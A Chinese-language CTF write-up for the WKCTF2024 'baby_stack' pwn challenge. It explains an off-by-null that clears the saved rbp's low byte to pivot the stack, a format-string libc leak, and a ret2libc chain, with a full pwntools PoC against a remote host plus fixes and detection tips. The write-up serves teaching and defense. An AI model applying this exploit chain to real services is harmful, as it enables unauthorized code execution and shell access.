WKCTF2024 baby_stack:echo_inner off-by-null 改 rbp 低字节栈迁移 + 格式化字符串泄 libc + ret2libc
ctf/pwn · verified
一句话结论
echo_inner 在 input[(int)fread(input, 1, len, stdin)] = 0 处多写一个 NUL;当读满栈缓冲区时,这个 NUL 会清掉保存的 rbp 低字节,函数返回时 leave; ret 把栈迁移到攻击者可控区域;先用 func() 里 printf(format) 的格式化字符串泄露 libc,再在迁移后的栈上布置 ret 对齐 + pop rdi + /bin/sh + system 的 ret2libc 链。
原理
- off-by-null 的位置:
echo_inner先用fread(input, 1, len, stdin)读入最多len字节,然后在input[fread 返回值] = 0补 NUL。如果len正好等于缓冲区大小,NUL 就写到缓冲区末尾之外,覆盖相邻的栈变量/保存的rbp最低字节。GCC 编译的 64 位栈帧中rbp低字节通常与栈对齐相关,清零后leave(mov rsp, rbp; pop rbp)会落到一个略低的、可能被攻击者控制的栈地址。 - 为什么能栈迁移:函数 epilogue 是
leave; ret;rbp被改后,leave把rsp设到新位置,ret从那里取返回地址。攻击者先通过输入把一块可控数据放在该位置的“下方/上方”,让leave; ret把执行流带到这块数据;文章用多次ret做栈对齐,再用pop rdi/system完成 ret2libc。由于rbp低字节只有有限取值,文章提示“需要爆破一下”,即重连/重试直到迁移地址落在 payload 上。 - 格式化字符串泄露:
func()里char s[5]; char format[120]; getc(stdin); fgets(s,5,stdin); v0 = strtol(s,0,10); snprintf(format,0x64,"Your magic number is: %%d%llx\n", v0); printf(format);。%%d在snprintf后变成字面%d,%llx被替换成v0的十六进制;随后printf(format)把%d当成格式符但没有对应参数,从栈/寄存器读取并打印一个值。文章发送27触发后,从Your magic number is:后读取 6 字节十六进制,减去__libc_start_main与偏移231得到 libc 基址。 - 为什么需要 libc 基址:二进制开启 PIE,但 payload 只用 libc 内的
ret/pop rdi/system//bin/sh,不依赖 PIE 基址;拿到 libc 基址后即可计算这些地址。 - 利用顺序:先触发格式化泄露拿 libc,再发送长度
256与 256 字节 payload;payload 前 0xb0 为 NUL,随后ret×2(对齐)、pop rdi、/bin/sh、system。off-by-null 把rbp低字节清零后,leave; ret迁移到 payload 区域执行 ret2libc。
触发条件
- 目标为 64 位 Linux PIE 二进制,提供 libc-2.27.so;
echo_inner的fread长度可由用户控制且未预留 NUL 位置。 - 栈布局允许 off-by-null 覆盖保存的
rbp低字节,且leave; ret能落到可控缓冲区;需要多次重试(rbp 低字节/栈对齐随机)。 - 程序存在可控格式串的
printf(format)(或可泄露栈/libc 指针的等价输出),能在栈迁移前拿到 libc 基址。 - 可多次连接/交互,因为栈迁移的爆破需要重试。
利用步骤
- 连接目标,选择 echo 功能,发送
'1';按提示发送较小数字(文章'27')触发func()的格式化输出。 - 从
Your magic number is:后读取 6 字节十六进制(文章p.recv(6*2)),按libcbase = leak - libc.sym['__libc_start_main'] - 231计算 libc 基址。 - 计算
ret = libcbase + 0x8aa、pop_rdi = libcbase + 0x2164f、system = libcbase + libc.sym['system']、binsh = libcbase + next(libc.search(b'/bin/sh'))。 - 发送
'256'作为长度;构造payload = b'\x00'*0xb0 + p64(ret)*2 + p64(pop_rdi) + p64(binsh) + p64(system),补齐到 256 字节后发送。 - off-by-null 触发后
leave; ret迁移到 payload;若未成功(连接断开/无 shell),重连并重试(rbp 低字节熵)。 - 进入交互后
cat flag读取 flag(文章得到WKCTF{...})。
PoC
from pwn import *
p = remote('110.40.35.73', 33779)
libc = ELF('./libc-2.27.so')
p.send(b'1')
p.sendline(b'27')
p.recvuntil(b'is: ')
libc_add = int(p.recv(6 * 2), 16)
libcbase = libc_add - libc.sym['__libc_start_main'] - 231
print(hex(libcbase))
p.sendline(b'256')
ret = libcbase + 0x8aa
pop_rdi = libcbase + 0x2164f
system = libcbase + libc.symbols['system']
binsh = libcbase + next(libc.search(b'/bin/sh'))
payload = b'\x00' * 0xb0 + p64(ret) * 2 + p64(pop_rdi) + p64(binsh) + p64(system)
payload = payload.ljust(256, b'\x00')
p.sendlineafter(b'max', payload)
p.interactive()
变体与关联
- off-by-null 位置变体:
fread/read后补 NUL、strcpy/strcat的终止符、循环多写 1 字节;关键都是“边界外 1 字节”改到保存的rbp/返回地址/长度字段。 - 迁移方式变体:
leave; ret到栈上 payload;改rbp指向 BSS/堆上的 ROP;用pop rsp/xchg rspgadget;多次ret对齐。 - 泄露变体:
printf(format)的%d/%p;puts/write泄 GOT;格式化串%N$p直接定位栈/libc。 - 关联:[[binary-pwn-stack-pivot-leave-ret-bss]](leave;ret 迁到 BSS)、[[binary-pwn-format-string-canary-libc-leak-rop-system]](格式化串泄 canary/libc + ROP)、[[ctf-pwn-blind-negative-length-stack-leak-debug-write-ret2libc]](栈泄露 + ret2libc)、[[binary-pwn-stack-canary-lowbyte-nul-overwrite-string-leak]](低字节 NUL 覆盖类栈泄露)。
- 边界:若编译器插入栈保护/
-fstack-protector且 off-by-null 触发 canary,需先泄 canary;若rbp低字节清零后落入不可控区域,爆破无法成功;PIE + 无 libc 泄露时需先泄 libc。
检测与防御
- 代码修复:
fread(input, 1, len - 1, stdin)并确保缓冲区足够;不要用用户可控长度直接做input[n] = 0;用fgets/read+ 显式长度校验。 - 格式化串:
printf("%s", input)或puts(input),不要printf(input);动态格式串必须来自固定模板。 - 编译加固:启用 PIE、栈保护、
_FORTIFY_SOURCE、CET;ASLR 保证栈/libc 随机化。 - 检测:崩溃/重连频率异常(爆破 rbp 低字节)、
printf输出中出现非预期栈/libc 指针、进程执行/bin/sh。 - 说明:本文为 CTF/授权环境利用,偏移与栈布局依赖题目二进制与 libc;换题需重新核对。